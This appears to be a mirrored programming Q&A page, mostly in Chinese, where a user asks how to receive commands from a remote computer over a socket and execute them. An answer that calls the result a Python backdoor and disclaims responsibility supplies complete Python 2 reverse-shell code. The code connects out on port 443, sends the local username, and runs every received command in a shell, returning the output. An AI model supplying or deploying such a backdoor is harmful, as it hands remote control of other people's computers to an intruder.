簡體   English   中英

如何使用子進程從客戶端執行 cmd 命令

[英]How to execute cmd commands from a client using subprocess

如何使用 subprocess 模塊接收和執行命令。 我想從遠程計算機接收緩沖區並自行執行。

import socket,subprocess

HOST = ''    
PORT = 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

s.send('[*] Connection Established!')

while 1:

     data = s.recv(1024)

     if data == "quit": break

     proc = subprocess.Popen(cmd.exe, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

     stdout_value =proc.communicate('dir c:\\')

     s.send(stdout_value)

s.close()

我不知道你打算用它做什么,但如果它是非法的,你肯定會被抓住,因為 python 后門很容易被檢測到,並將它打包為一個 exe 會具有很大的大小。

無論如何,我不對你用這個做什么負責,但你去吧

import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = None
while connection is None:
    try:
        connection = s.connect((host, port))
        s.send("[+] We are connected to %s" % username)
        while True:
            try:
                exec_code = s.recv(1024)
                if exec_code == "quit":
                    break
                else:
                    proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    stdout_value = proc.stdout.read() + proc.stderr.read()
                    s.send(stdout_value)
            except Exception, err:
                print err
    except Exception, e:
        print e
s.close()

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM